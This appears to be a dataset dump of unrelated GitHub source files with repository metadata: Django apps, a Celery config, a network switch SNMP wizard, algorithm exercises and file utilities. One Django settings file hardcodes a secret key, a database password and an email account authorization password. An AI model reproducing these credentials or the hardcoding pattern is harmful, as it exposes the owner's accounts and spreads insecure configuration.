'EventGrid.csv'): print('ComputeIntensityMeasure: saving results.') # collecting site locations lat = [] lon = [] for s in stations['Stations']: lat.append(s['Latitude']) lon.append(s['Longitude']) # saving data station_num = len(lat) csv_file = [str(x + 1)+'.csv' for x in range(station_num)] d = { 'Station': csv_file, 'Latitude': lat, 'Longitude': lon } df = pd.DataFrame.from_dict(d) df.to_csv(os.path.join(output_dir, filename), index = False) for i in range(station_num): pws_op = [pws[0][i]] if len(pws) > 1: for j in range(len(pws) - 1): pws_op.append(pws[j + 1][i]) d = { 'PWS': pws_op } df = pd.DataFrame.from_dict(d) df.to_csv(os.path.join(output_dir, csv_file[i]), index = False) print('ComputeIntensityMeasure: simulated wind speed field saved.')

[ "kuanshi@stanford.edu" ]

kuanshi@stanford.edu

a99f13ede01d669f9d08ea0b81d5060a90e06750

686a962bc2c9527e0fb63f6f9bc659fcf3568bf6

/rest/models.py

9458344863e529089463a4c8c0509725b08f3559

[]

no_license

mourasis/webservice

572c62608e53846f0160aae567da1595631202b1

3a7d67239a30e753bf89d09394f96442ccbfd1ad

refs/heads/master

2020-06-23T03:57:20.300943

2019-07-23T20:52:48

198,503,495

0

null

UTF-8

Python

false

236

py

from django.db import models class Livro(models.Model): titulo = models.CharField(max_length=200) autor = models.CharField(max_length=200) volume = models.IntegerField() def __str__(self): return self.titulo

[ "root@moura.local" ]

root@moura.local

c564381b8a3786274c292ddc6a57ed24ad1e6895

ca7aa979e7059467e158830b76673f5b77a0f5a3

/Python_codes/p03681/s311284212.py

d8b25fb6e7dd6d5384882806daa8e1c440d5c178

[]

no_license

Aasthaengg/IBMdataset

7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901

f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8

refs/heads/main

2023-04-22T10:22:44.763102

2021-05-13T17:27:22

367,112,348

0

null

UTF-8

Python

false

298

py

n, m = map(int, input().split()) mod = 10 ** 9 + 7 if abs(n - m) >= 2: print(0) else: res = 1 for i in range(1, n+1): res = res * i % mod for i in range(1, m+1): res = res * i % mod if abs(n - m) == 1: print(res) else: print(res * 2 % mod)

[ "66529651+Aastha2104@users.noreply.github.com" ]

66529651+Aastha2104@users.noreply.github.com

237eac4b7ec61fc9f01809d041c1a345f7a690ea

47cb331a4ad7eee2a352e65ea197f3d0dbce7bb4

/configuratie_visualisatie_firewalls_webapp/run.py

4f40948d8f8c12e01cc00a3ce7074deff728b884

[]

no_license

Bakkerino/firewall_configuration_tool

d0694d5c9e44d7819b0f449c6ecb34bd34083395

0ea5326b36b4dca430f6fc00e68015e2a43855ba

refs/heads/master

2022-12-04T06:33:38.107245

2020-08-20T10:07:25

261,829,028

0

null

UTF-8

Python

false

86

py

from cvf import app if __name__ == "__main__": app.run(debug=app.config["DEBUG"])

[ "k.m.bakker@st.hanze.nl" ]

k.m.bakker@st.hanze.nl

0ad8cf2793f9f48f35cd1dc144cabb7c55a3dbd8

28e06d5e6e31940d85777b5081aa8d1a7e61adc9

/Parking_Lot/Parking_Lot/celery.py

36a648b702d13ee62f3661dc71234819754ca882

[]

no_license

saurav004/ParkingLot

24316a82ccb710e0145f86483c247e200d30bfbb

72ceb109f20060c7a8af15cb407e09db8598c858

refs/heads/master

2023-02-13T09:38:52.834470

2021-01-09T07:36:19

323,919,157

0

null

UTF-8

Python

false

719

py

from __future__ import absolute_import, unicode_literals import os from celery import Celery # set the default Django settings module for the 'celery' program. os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'Parking_Lot.settings') app = Celery('Parking_Lot') # Using a string here means the worker doesn't have to serialize # the configuration object to child processes. # - namespace='CELERY' means all celery-related configuration keys # should have a `CELERY_` prefix. app.config_from_object('django.conf:settings', namespace='CELERY') # Load task modules from all registered Django app configs. app.autodiscover_tasks() @app.task(bind=True) def debug_task(self): print(f'Request: {self.request!r}')

[ "logtosaurav@gmail.com" ]

logtosaurav@gmail.com

dd0c5db76215bf755e43da64fa6e3ece88b1a20a

d17f6409d93f1ee84e14fe962ecc2782464ca551

/rango/admin.py

86ff6ace6614c0790724e50e2bf735ce76ecbe50

[]

no_license

lewisponsonby/tango_with_django_project

4e55864954bc31f5dda5240ba8234e645781a08e

77ca3d91a8eb5bf1843b414e09210b02d369431a

refs/heads/main

2023-03-04T23:41:41.208674

2021-02-11T00:27:31

329,949,922

0

null

UTF-8

Python

false

391

py

from django.contrib import admin from rango.models import Category, Page from rango.models import UserProfile class PageAdmin(admin.ModelAdmin): list_display=("title","category","url") class CategoryAdmin(admin.ModelAdmin): prepopulated_fields = {"slug":("name",)} admin.site.register(Category, CategoryAdmin) admin.site.register(Page, PageAdmin) admin.site.register(UserProfile)

[ "2464980P@student.gla.ac.uk" ]

2464980P@student.gla.ac.uk

0a5af99dfde92508bd7713c364ddabefec4bc691

4bd4bec81c5dcf634b21902204b1d1da4fc49dc9

/Python/EXOS/snmpv1v2configpy/SNMPv1v2Config.py

960fead3dcdb9aecffeb1963c0862da24af1041e

[ "BSD-2-Clause" ]

permissive

mhelmEXTR/ExtremeScripting

d7b2b095151bbd670f67140c01a6004b78e8388f

fd8554748dfb4b408965d9a3e1a977c6a86842e2

refs/heads/master

2021-07-07T17:27:07.330072

2021-04-29T16:43:32

45,707,060

0

null

2015-11-06T20:55:50

2015-11-06T20:55:49

null

UTF-8

Python

false

3,293

py

#!/usr/bin/env python ''' Wizard to configure SNMP ''' ############################################################################# # SNMP v1/v2 Variable definitions ############################################################################# #clierrormode = raw_input("If this script encounters errors, do you wish to abort or ignore?: ") ynsnmpconfig = raw_input("Congifigure SNMP v1/v2 access? (yes or no): ") ynsnmpdisable = raw_input("Disable SNMP v1/v2 access? (yes or no): ") ynsnmpcommadd = raw_input("Add SNMP v1/v2 communities? (yes or no): ") snmprwname = raw_input("Read/Write SNMP Community Name?: ") snmproname = raw_input("Read-Only SNMP Community Name?: ") ynsnmpcommrem = raw_input("Remove default SNMP Communities? (yes or no): ") snmpname = raw_input("SNMP Switch Name?: ") snmplocation = raw_input("SNMP Location?: ") snmpcontact = raw_input("SNMP Contact?: ") snmptrapcount = raw_input("Number of SNMP Trap Receivers (Script supports: 1-3): ") snmptrap1 = raw_input("SNMP Trap Receiver #1: ") snmptrap2 = raw_input("SNMP Trap Receiver #2: ") snmptrap3 = raw_input("SNMP Trap Receiver #3: ") ############################################################################# # SNMP V1/V2 Configuration ############################################################################# #if (re.match(clierrormode,"ignore")): # configure cli mode scripting ignore-error # create log entry "CLI mode set for Ignore on Error" #else # configure cli mode scripting abort-on-error # create log entry "CLI mode set for Abort on Error" if (re.match(ynsnmpconfig,"yes")): exsh.clicmd("create log entry \"Starting SNMP Configuration\"", True) print("Starting SNMP Configuration") exsh.clicmd("configure snmp sysName %s" % snmpname, True) exsh.clicmd("configure snmp sysLocation %s" % snmplocation, True) exsh.clicmd("configure snmp sysContact %s" % snmpcontact, True) if (snmptrapcount >= 1): exsh.clicmd("configure snmp add trapreceiver %s community %s" % (snmptrap1,snmproname), True) if (snmptrapcount >= 2): exsh.clicmd("configure snmp add trapreceiver %s community %s" % (snmptrap2,snmproname), True) if (snmptrapcount >= 3): exsh.clicmd("configure snmp add trapreceiver %s community %s" % (snmptrap3,snmproname), True) if (re.match(ynsnmpcommadd,"yes")): exsh.clicmd("configure snmp add community readwrite %s" % snmprwname, True) exsh.clicmd("configure snmp add community readonly %s" % snmproname, True) exsh.clicmd("create log entry \"New SNMP Communities Created\"", True) print("New SNMP Communities Created") if (re.match(ynsnmpcommrem,"yes")): exsh.clicmd("configure snmp delete community readwrite private", True) exsh.clicmd("configure snmp delete community readonly public", True) exsh.clicmd("create log entry \"Default SNMP Communities Removed\"", True) print("Default SNMP Communities Removed") else: exsh.clicmd("create log entry \"Default SNMP Communities NOT Removed\"", True) print("Default SNMP Communities NOT Removed") else: if (re.match(ynsnmpdisable,"yes")): exsh.clicmd("create log entry \"Disabling SNMP access\"", True) print("Disabling SNMP access") exsh.clicmd("disable snmp access snmp-v1v2", True) else: exsh.clicmd("create log entry \"SNMP Not Configured\"", True) print("SNMP Not Configured")

[ "stewilliams@extremenetworks.com" ]

stewilliams@extremenetworks.com

c44a19da41a435781f04041a1e7bd5b9d3219591

b11b38a667a69969d268634e2c3de9f1b624823b

/tren.py

c2915fce05587062083416208d30bb2aa4d2d6b6

[]

no_license

minc84/learn

e68013e51fe846d0d41831e70cf3694154a152a8

22882b24b24ba386b0baf84055e08894c8a77053

refs/heads/master

2023-03-19T23:18:26.010374

2021-01-13T13:44:46

278,613,516

0

null

2021-03-20T04:41:50

2020-07-10T11:10:07

Python

UTF-8

Python

false

441

py

import sqlite3 as sq with sq.connect("saper.db") as con: cur = con.cursor() cur.execute(" select * from users where old > 20 AND score < 40 ORDER BY old DESC LIMIT 1") res = cur.fetchall() for value in cur.execute(" select name, score from users WHERE name LIKE 'ВАСИЛИСА'"): print(value) cur.execute("select name, score from users WHERE name LIKE 'ВАСИЛИСА' AND score > 1100") res = cur.fetchone() print(res)

[ "nesterovish@yandex.ru" ]

nesterovish@yandex.ru

c4f671e9a75ffab245e4527cf3a74964ce8ebeb3

76b8e0895f81f021a3578ce9ac23d4b87cf5aeb4

/base/__init__.py

d7744914dda88bac878d220517b8d117b93f89a7

[]

no_license

kilomeow/pick-a-bot

ec0d4934866fc7a9a7afd46053524da93574a78d

56566022b5ad5966a4183baf188e3ca259f2aba3

refs/heads/master

2023-04-07T14:00:28.270458

2021-04-19T06:56:57

258,882,010

1

0

null

UTF-8

Python

false

114

py

from .session import * from .trigger import * from .action import * from .context import * from .promise import *

[ "dest@disr.it" ]

dest@disr.it

9107cd52b4f5cb29c06fa7c3b10e07dbb89fe3a2

e230e3c1d6935d36b7074390f096d782cabd75af

/dailyfresh/settings.py

520e1cbe63fe0018a6d3e7702bc98f883808c38e

[]

no_license

PeterZhangxing/dailyfresh_ori

603e7e42457d27ffefb6a4601f9b6826a3a55a6f

19b6d667d6f49a528aeb6f4430e2537c933936f0

refs/heads/master

2020-12-02T01:41:32.160278

2019-12-30T04:24:50

230,846,590

0

null

UTF-8

Python

false

5,607

py

""" Django settings for dailyfresh project. Generated by 'django-admin startproject' using Django 2.0.4. For more information on this file, see https://docs.djangoproject.com/en/2.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.0/ref/settings/ """ import os import sys # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) sys.path.insert(0,os.path.join(BASE_DIR,'apps')) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.0/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'h2)2bq3(3=-9a#8m$t-ci9t91o*tr%xs%@3g2^e-4^)i$(335l' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'tinymce', # 富文本编辑器 'haystack', # 注册全文检索框架 'user', # 用户模块 'goods', # 商品模块 'cart', # 购物车模块 'order', # 订单模块 ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'dailyfresh.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'templates')] , 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'dailyfresh.wsgi.application' # Database # https://docs.djangoproject.com/en/2.0/ref/settings/#databases # DATABASES = { # 'default': { # 'ENGINE': 'django.db.backends.sqlite3', # 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), # } # } DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'NAME': 'dailyfresh', 'USER': 'zx2005', 'PASSWORD': 'redhat', 'HOST': '10.1.1.128', 'PORT':3306, } } # 告诉django其自带的认证系统,使用哪个模型类 AUTH_USER_MODEL='user.User' # Password validation # https://docs.djangoproject.com/en/2.0/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.0/topics/i18n/ LANGUAGE_CODE = 'zh-hans' # 本地化 TIME_ZONE = 'Asia/Shanghai' # 本地化 USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.0/howto/static-files/ STATIC_URL = '/static/' STATICFILES_DIRS = [ os.path.join(BASE_DIR,'static'), ] # 富文本编辑器配置 TINYMCE_DEFAULT_CONFIG = { 'theme': 'advance', 'width': 600, 'height': 400, } # 发送邮件配置 EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend' # smpt服务地址 EMAIL_HOST = 'smtp.qq.com' EMAIL_PORT = 25 # 发送邮件的邮箱 EMAIL_HOST_USER = '99360681@qq.com' # 在邮箱中设置的客户端授权密码 EMAIL_HOST_PASSWORD = 'cdbnlajjhfctbjhb' # 收件人看到的发件人 EMAIL_FROM = '天天吃屎<99360681@qq.com>' # Django的缓存配置 CACHES = { "default": { "BACKEND": "django_redis.cache.RedisCache", "LOCATION": "redis://10.1.1.128:6379/9", "OPTIONS": { "CLIENT_CLASS": "django_redis.client.DefaultClient", } } } # 配置session存储在缓存中,就是上面的缓存 SESSION_ENGINE = "django.contrib.sessions.backends.cache" SESSION_CACHE_ALIAS = "default" # 配置django系统自带认证失败后,默认跳转的地址 LOGIN_URL='/user/login' # 设置Django的文件存储类 DEFAULT_FILE_STORAGE='utils.fdfs.storage.FdfsStorage' # 设置fdfs使用的client.conf文件路径 FDFS_CLIENT_CONF='./utils/fdfs/client.conf' # 设置fdfs存储服务器上nginx的IP和端口号 FDFS_URL='http://10.1.1.128:8888/' # 全文检索框架的配置 HAYSTACK_CONNECTIONS = { 'default': { # 使用whoosh引擎 # 'ENGINE': 'haystack.backends.whoosh_backend.WhooshEngine', 'ENGINE': 'haystack.backends.whoosh_cn_backend.WhooshEngine', # 索引文件路径 'PATH': os.path.join(BASE_DIR, 'whoosh_index'), } } # 当添加、修改、删除数据时，自动生成索引 HAYSTACK_SIGNAL_PROCESSOR = 'haystack.signals.RealtimeSignalProcessor' # 指定搜索结果每页显示的条数 HAYSTACK_SEARCH_RESULTS_PER_PAGE=1

[ "964725349@qq.com" ]

964725349@qq.com

bea5e52fc879f85fba8493bf6a11bf65648c44ee

05f3f5537ef401946118b07ab0161bcce04cb3a4

/main_page/migrations/0004_auto_20210716_0019.py

4a723f5cbd4b740ccc1a0cfcd85a88ae8752f501

[]

no_license

abhishekotari21/IAFpedia

73f8a96ac55d385be98d5b16ea0685428495eb02

d2fa096da86ca7ba976fae2242bcf7d362e0f3c5

refs/heads/master

2023-07-08T09:25:15.408635

2021-08-07T17:48:04

384,144,297

0

null

2021-07-09T10:40:44

2021-07-08T14:04:06

HTML

UTF-8

Python

false

333

py

# Generated by Django 3.1.4 on 2021-07-15 18:49 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('main_page', '0003_hisevent'), ] operations = [ migrations.RenameModel( old_name='HisEvent', new_name='HistoricalEvent', ), ]

[ "omkar3602@gmail.com" ]

omkar3602@gmail.com

8c1931de214702eae66c4588ab24ad31368fbe5f

6295b232fe750e4d49c40e093af3925b3ae14769

/max_stack_da.py

b3d5491a3be268ed75ae92c34cbe810fb77eb10f

[]

no_license

palaquibay329/QueueStackDynamicArrayfromStaticArray

426e38a5d2257d4543c85a9450299ac3bcb0842a

f6178051d7d28b23ba4baff68b0f3e4a0177fc5a

refs/heads/master

2023-08-22T03:51:35.704585

2021-10-17T03:53:47

418,012,565

1

0

null

UTF-8

Python

false

4,829

py

# Course: CS261 - Data Structures # Student Name: Edgar Palaquibay # Assignment: 2 # Description: This script is a max stack implementation using dynamic arrays. The newly implemented # methods are push(), pop(), top(), get_max(). from dynamic_array import * class StackException(Exception): """ Custom exception to be used by Stack class DO NOT CHANGE THIS METHOD IN ANY WAY """ pass class MaxStack: def __init__(self): """ Init new stack based on Dynamic Array DO NOT CHANGE THIS METHOD IN ANY WAY """ self.da_val = DynamicArray() self.da_max = DynamicArray() def __str__(self) -> str: """ Return content of stack in human-readable form DO NOT CHANGE THIS METHOD IN ANY WAY """ out = "MAX STACK: " + str(self.da_val.length()) + " elements. [" out += ', '.join([str(self.da_val[i]) for i in range(self.da_val.length())]) return out + ']' def is_empty(self) -> bool: """ Return True is the stack is empty, False otherwise DO NOT CHANGE THIS METHOD IN ANY WAY """ return self.da_val.is_empty() def size(self) -> int: """ Return number of elements currently in the stack DO NOT CHANGE THIS METHOD IN ANY WAY """ return self.da_val.length() # ----------------------------------------------------------------------- def push(self, value: object) -> None: """ Input: value (object) Output: N/A This function will add a new element to the stop of the stack """ if self.size() == 0: self.da_val.append(value) if self.da_max.length() == 0: self.da_max.append(value) elif value <= self.da_max.get_at_index(self.da_max.length()-1): arg = self.da_max.get_at_index(self.da_max.length()-1) self.da_max.append(arg) #append the current max of da_max onto da_max again self.da_val.append(value) else: self.da_max.append(value) #append the value argument to da_max since it's larger than current max self.da_val.append(value) def pop(self) -> object: """ Input: N/A Output: object This function returns the top value of the da_val stack, it also removes the top value from da_max stack but does not return it """ if self.is_empty(): raise StackException() else: value = self.da_val.get_at_index(self.size() - 1) #capture the top value of the stack before removing self.da_val.remove_at_index(self.size() - 1) self.da_max.remove_at_index(self.da_max.length() - 1) return value def top(self) -> object: """ Input: N/A Output: object This function will return the top value of the da_val stack and raise an exception if empty """ if self.is_empty(): raise StackException() return self.da_val.get_at_index(self.da_val.length() - 1) #return top of stack def get_max(self) -> object: """ Input: N/A Output: object This function returns the maximum value that is in the stack, if the stack is empty the method raises a "StackException" """ if self.is_empty(): raise StackException() return self.da_max.data[self.da_max.length() - 1] #return top of max stack # ------------------- BASIC TESTING ----------------------------------------- if __name__ == "__main__": print("\n# push example 1") s = MaxStack() print(s) for value in [1, 2, 3, 4, 5]: s.push(value) print(s) print("\n# pop example 1") s = MaxStack() try: print(s.pop()) except Exception as e: print("Exception:", type(e)) for value in [1, 2, 3, 4, 5]: s.push(value) for i in range(6): try: print(s.pop()) except Exception as e: print("Exception:", type(e)) print("\n# top example 1") s = MaxStack() try: s.top() except Exception as e: print("No elements in stack", type(e)) s.push(10) s.push(20) print(s) print(s.top()) print(s.top()) print(s) print('\n# get_max example 1') s = MaxStack() for value in [1, -20, 15, 21, 21, 40, 50]: print(s, ' ', end='') try: print(s.get_max()) except Exception as e: print(type(e)) s.push(value) while not s.is_empty(): print(s.size(), end='') print(' Pop value:', s.pop(), ' get_max after: ', end='') try: print(s.get_max()) except Exception as e: print(type(e))

[ "edgarpalaquibay@MacBook-Pro-2.fios-router.home" ]

edgarpalaquibay@MacBook-Pro-2.fios-router.home

ea25f40064c0389cfee15171a0479f3f66af28c1

84827140ca49fb71bccb79d7b6e19b2d2ae7ada4

/profile_test.py

5b32caf3420cb9502fad2b7ec6dca9f49035969e

[ "BSD-2-Clause" ]

permissive

CyclingNinja/sunkit-sst

df312fc51440689885fedc29a5e48f749f9e8445

3abb8676eb0f6e6881abf8159777bb1ee3d30e01

refs/heads/master

2021-01-14T13:38:47.648658

2015-01-30T14:09:38

null

0

null

UTF-8

Python

false

1,115

py

from __future__ import absolute_import, division from sunkitsst.sstmap import get_header_item_group, SSTMap import sunpy.map as smap from sunkitsst.read_cubes import read_cubes from sunkitsst.visualisation import cube_explorer import numpy as np import matplotlib.pyplot as plt import glob plt.ion() smap.Map.register(SSTMap, SSTMap.is_source_for) imfile = '/data/SST/fastrbe/sstdata.icube' spfile = '/data/SST/fastrbe/sstdata.sp.icube' im_header, outmemmap, sp_header, sp_cube = read_cubes(imfile, spfile, memmap = True) files = glob.glob("/data/Mounted/SWAT/fastrbe/sst2sdo/fits/sst/halpha/*.fits") files.sort() first_maps = smap.Map(files[0]) cadence = 2.195 #s x = get_header_item_group(first_maps.meta, 'lpos_') x.sort() waves = list(zip(*x)[1]) waves.sort() axis_range = [np.arange(0,cadence*outmemmap.shape[0],cadence), waves] + [first_maps.yrange] + [first_maps.xrange] fig = plt.figure(figsize=(16,14)) moose = cube_explorer.PlotInteractor(outmemmap, first_maps.meta['cdelt1'], '/home/nabobalis/Dropbox/SavedSlits/', axis_range=None, cmap='Greys_r', fig=fig, colorbar=True)

[ "nabil.freij@gmail.com" ]

nabil.freij@gmail.com

8aba048efabe65a374ecb7ea6a348edc52b17054

bc33dcd135f6682a70d9423a9d30108640bfd1c7

/Python Snippets/helpers/file.py

ccd799a93dca7a2c66b0f8b1b153040df1d4da18

[ "MIT" ]

permissive

wolfnfox/Code-Snippets

3bc95e3d8692396f649a89a61f456c75d7d46738

993cb2b273d538bdeb76ff3a39fa41a92a6282de

refs/heads/master

2020-06-23T10:18:35.044448

2019-10-08T10:15:20

198,594,562

0

null

UTF-8

Python

false

8,049

py

import logging, os, shutil import numpy as np from typing import Union def append_all_text(text: str,filename: str,encoding: str=r'utf-8') -> bool: if not isinstance(text,str): raise ValueError('Invalid argument for <text>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(text))) if not isinstance(filename,str): raise ValueError('Invalid argument for <filename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(filename))) if not isinstance(encoding,str): raise ValueError('Invalid argument for <encoding>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(encoding))) if not fileexists(filename): raise FileNotFoundError() return _writefile(text,filename,'at',encoding) def copy(fromfilename: str,tofilename: str=None,overwrite: bool=False) -> str: if not isinstance(fromfilename,str): raise ValueError('Invalid argument for <fromfilename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(fromfilename))) if tofilename and not isinstance(tofilename,str): raise ValueError('Invalid argument for <tofilename>.\nAccepted types: '+str(None)+', '+str(str)+'\nGot type: '+str(type(tofilename))) if not isinstance(overwrite,bool): raise ValueError('Invalid argument for <overwrite>.\nAccepted types: '+str(bool)+'\nGot type: '+str(type(overwrite))) if not fileexists(fromfilename): raise FileNotFoundError() if (not tofilename): tofilename = fromfilename if (not overwrite): tofilename = _increment_filename(tofilename) shutil.copy2(fromfilename,tofilename) else: if fileexists(tofilename): move(fromfilename,tofilename,overwrite) else: shutil.copy2(fromfilename,tofilename) logging.info('Copied file: '+str(fromfilename)) logging.info('Copied to: '+str(tofilename)) return tofilename def delete(filename: str) -> bool: if not isinstance(filename,str): raise ValueError('Invalid argument for <filename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(filename))) if not fileexists(filename): raise FileNotFoundError os.remove(filename) logging.info('Deleted file: '+str(filename)) return True def fileexists(filename: str) -> bool: if not isinstance(filename,str): raise ValueError('Invalid argument for <filename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(filename))) return os.path.isfile(filename) def filesize(filename: str,units: str=None) -> int: '''Returns filesize (defaults to 'KB')\n Options: 'B', 'KB', or 'MB' ''' if not fileexists(filename): raise FileNotFoundError if units not in ['B', 'KB', 'MB', None]: raise ValueError('Invalid argument for <units>.\nAccepted types: '+str(str)+' \'B\', \'KB\', \'MB\' or '+str(None)+'\nGot type: '+str(type(units))+' \''+str(units)+'\'') filesize = os.stat(filename).st_size if (units == 'KB') or (units == None): if (filesize > 1024): filesize = int(np.ceil(filesize/1024)) else: filesize = np.ceil((filesize*1000)/1024)/1000 if units == 'MB': if (filesize > (1024**2)): filesize = int(np.ceil(filesize/(1024**2))) else: filesize = np.ceil((filesize*1000**2)/(1024**2)/(1000))/1000 return filesize def get_extension(filename: str) -> str: if not isinstance(filename,str): raise ValueError('Invalid argument for <filename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(filename))) return os.path.splitext(filename)[-1] def move(fromfilename: str,tofilename: str,overwrite: bool=True) -> str: if not isinstance(fromfilename,str): raise ValueError('Invalid argument for <fromfilename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(fromfilename))) if not isinstance(tofilename,str): raise ValueError('Invalid argument for <tofilename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(tofilename))) if not isinstance(overwrite,bool): raise ValueError('Invalid argument for <overwrite>.\nAccepted types: '+str(bool)+'\nGot type: '+str(type(overwrite))) if fileexists(tofilename) and (not overwrite): tofilename = _increment_filename(tofilename) shutil.move(fromfilename,tofilename) logging.info('Moved file: '+str(fromfilename)) logging.info('Moved to: '+str(tofilename)) return tofilename def read_all_bytes(filename: str) -> bytes: if not isinstance(filename,str): raise ValueError('Invalid argument for <filename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(filename))) if not fileexists(filename): raise FileNotFoundError() return _readfile(filename,'rb') def read_all_text(filename: str,encoding: str=r'utf-8') -> str: if not isinstance(filename,str): raise ValueError('Invalid argument for <filename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(filename))) if not isinstance(encoding,str): raise ValueError('Invalid argument for <encoding>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(encoding))) if not fileexists(filename): raise FileNotFoundError() return _readfile(filename,'rt',encoding) def write_all_bytes(bytesdata: bytes,filename: str,overwrite: bool=True) -> bool: if not isinstance(bytesdata,bytes): raise ValueError('Invalid argument for <bytesdata>.\nAccepted types: '+str(bytes)+'\nGot type: '+str(type(bytesdata))) if not isinstance(filename,str): raise ValueError('Invalid argument for <filename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(filename))) if not isinstance(overwrite,bool): raise ValueError('Invalid argument for <overwrite>.\nAccepted types: '+str(bool)+'\nGot type: '+str(type(overwrite))) if fileexists(filename) and not overwrite: raise FileExistsError() return _writefile(bytesdata,filename,'wb') def write_all_text(text: str,filename: str,encoding: str=r'utf-8',overwrite: bool=True) -> bool: if not isinstance(text,str): raise ValueError('Invalid argument for <text>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(text))) if not isinstance(filename,str): raise ValueError('Invalid argument for <filename>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(filename))) if not isinstance(encoding,str): raise ValueError('Invalid argument for <encoding>.\nAccepted types: '+str(str)+'\nGot type: '+str(type(encoding))) if not isinstance(overwrite,bool): raise ValueError('Invalid argument for <overwrite>.\nAccepted types: '+str(bool)+'\nGot type: '+str(type(overwrite))) if fileexists(filename) and not overwrite: raise FileExistsError() return _writefile(text,filename,'wt',encoding) def _increment_filename(filename: str) -> str: '''Private function to generate incremented filename if the input <filename> already exists.\n Otherwise, returns the <filename> unaltered.''' if not fileexists(filename): return filename else: i = 1 ext = get_extension(filename) newfilename = filename.replace(ext,'('+str(i)+')'+ext) while fileexists(newfilename): i += 1 newfilename = filename.replace(ext,'('+str(i)+')'+ext) return newfilename def _readfile(filename: str,options: str,encoding: str=None) -> Union[bytes,str]: '''Private function for reading a file in full.''' if encoding: with open(filename,options,encoding=encoding) as fopen: data = fopen.read() else: with open(filename,options) as fopen: data = fopen.read() return data def _writefile(data: Union[bytes,str],filename: str,options: str,encoding: str=None) -> bool: '''Private function for wrapping io.open''' if encoding: with open(filename,options,encoding=encoding) as fopen: fopen.write(data) else: with open(filename,options) as fopen: fopen.write(data) return True

[ "thomasf@cleardata.co.uk" ]

thomasf@cleardata.co.uk

c36b8f1787c7aa2a5b3eacac7ad71daf101b0922

1d4f3a96f1c89ed617a6106f64dc66ece645abc7

/data_structure/tree/isBST.py

6bd337db7e3e0f2b1cd36cceedf4d540ddf3559b

[]

no_license

RahulBhoir/Python-Projects

8f85504aa4a09ae8778d4a6775eed4e831b43c98

ae59dc49f2a6a52c3eb391e412a677f8d08e3ce3

refs/heads/master

2021-07-24T12:28:32.202481

2021-06-30T10:42:06

170,374,879

1

0

null

2020-12-20T17:43:16

2019-02-12T19:07:12

Python

UTF-8

Python

false

716

py

root = None max_value = 100000 min_value = -100000 class Node(): def __init__(self, data): self.data = data self.left = None self.right = None def isBST(root, min_value, max_value): if root is None: return True if (root.data < max_value and root.data > min_value and isBST(root.left, min_value, root.data) and isBST(root.right, root.data, max_value)): return True else: return False root = Node(11) root.left = Node(9) root.right = Node(13) root.left.left = Node(7) root.left.right = Node(10) root.right.left = Node(12) root.right.right = Node(15) root.right.right.left = Node(14) tree = isBST(root, min_value, max_value) print(tree)

[ "rahulpbhoir@outlook.com" ]

rahulpbhoir@outlook.com

273b8c7282b3d2ecbeda4d37b4950bdf457546e9

c2a9dc489f924e8d96ae3b9df83f4bb189adb563

/assignments/10AlternaCaracteres/src/exercise.py

43ea541b1b3bb4e8478d0155b1b1a75da9ad89aa

[]

no_license

Cursoi-TC1028/Examen-Parcial

a018a80c6e9050cc91e0dfc8ad4334ac379d7e37

69ca6414f5c6b50312645a5f4eef370235aca49e

refs/heads/main

2023-07-24T10:31:44.733594

2021-09-09T04:20:01

404,479,991

0

null

UTF-8

Python

false

257

py

def main(): #escribe tu código abajo de esta línea n = int(input()) cont = 1 while (cont <= n) : if cont % 2 != 0: print("#") else : print("%") cont += 1 if __name__=='__main__': main()

[ "69440193+mannyRam24-Mter@users.noreply.github.com" ]

69440193+mannyRam24-Mter@users.noreply.github.com

